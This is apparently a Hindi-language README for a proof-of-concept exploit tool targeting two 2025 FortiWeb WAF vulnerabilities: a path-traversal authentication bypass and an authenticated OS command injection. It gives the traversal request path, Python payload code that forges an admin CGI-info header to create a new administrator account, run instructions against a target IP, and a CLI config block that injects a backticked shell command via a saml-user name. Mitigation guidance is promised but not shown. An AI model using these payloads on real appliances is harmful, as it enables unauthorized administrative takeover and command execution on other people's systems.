
FortiWeb CVEs के लिए PoC शोषण: पथ ट्रैवर्सल के माध्यम से प्रमाणीकरण बाईपास और प्रमाणित OS कमांड इंजेक्शन। इसमें विस्तृत विश्लेषण, पेलोड और सुरक्षा परीक्षण के लिए शमन मार्गदर्शन शामिल है।
FortiWeb एक वेब एप्लिकेशन फ़ायरवॉल (WAF) उपकरण है जिसका उपयोग वेब एप्लिकेशन की सुरक्षा के लिए किया जाता है।
वर्ष 2025 में, दो गंभीर कमजोरियाँ खोजी गईं:
| आइटम | विवरण |
|---|---|
| कमजोरी का प्रकार | सापेक्ष पथ ट्रैवर्सल प्रमाणीकरण बाईपास |
| कारण | FortiWeb प्रमाणीकरण से पहले पथ को सख्ती से संभाल नहीं करता है: - तार्किक पथ स्ट्रिंग के आधार पर अभिगम नियंत्रण - पूर्ण पथ को सामान्य नहीं करता - आंतरिक संसाधनों तक पहुँचने के लिए ../ के उपयोग की अनुमति देता है |
| विवरण | कुछ प्रशासनिक एंडपॉइंट बिना उचित प्रमाणीकरण के एक्सेस किए जा सकते हैं |
| प्रभाव | - प्रमाणीकरण को पूरी तरह से बायपास करें - प्रशासन कार्यक्षमता तक अनधिकृत पहुँच - अनुमति मॉडल को तोड़ें |
| प्रभावित संस्करण | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
उदाहरण:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
| आइटम | विवरण |
|---|---|
| कमजोरी का प्रकार | ओएस कमांड इंजेक्शन (CWE-78) |
| कारण | FortiWeb ऑपरेटिंग सिस्टम कमांड निष्पादित करते समय इनपुट को असुरक्षित तरीके से संभालता है: - इनपुट मान्य नहीं करता - विशेष वर्णों से बचने की कमी - उपयोगकर्ता डेटा को सीधे सिस्टम कमांड में पास करता है |
| विवरण | कमजोरी के लिए प्रमाणीकरण की आवश्यकता होती है लेकिन सिस्टम कमांड सम्मिलित करने की अनुमति देता है |
| प्रभाव | - अनपेक्षित कमांड निष्पादन - सिस्टम संसाधनों तक पहुँच - अखंडता और उपलब्धता को प्रभावित करता है |
| प्रभावित संस्करण | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
यह लाइब्रेरी संस्करण विरोध से बचने, कार्य वातावरण की स्थिरता सुनिश्चित करने और सिस्टम पर प्रभाव को सीमित करने में मदद करता है

Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Python3 का उपयोग करके टूल चलाएँ:
python3 exploit.py <IP_target>
<IP_target>: यहाँ IP पता FortiWeb उपकरण का होस्टनाम है।
उपयोगकर्ता नाम और पासवर्ड प्राप्त करें -> लॉगिन करें

सफलतापूर्वक शोषण किया और प्रशासक अधिकारों वाला नया खाता बनाया।
नव निर्मित प्रशासक खाते से सफलतापूर्वक लॉग इन करने के बाद, हमलावर विशेष रूप से तैयार अनुरोधों के माध्यम से या सीधे FortiWeb CLI कमांड-लाइन इंटरफ़ेस के माध्यम से प्रमाणित कमांड इंजेक्शन कमजोरी का शोषण कर सकता है:
config user saml-user
edit "`id`" ## यहाँ कमांड दर्ज करें
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb कॉन्फ़िगरेशन स्ट्रिंग से बाहर निकलेगा और saml-user कॉन्फ़िगर करने की प्रक्रिया में id कमांड निष्पादित करेगा।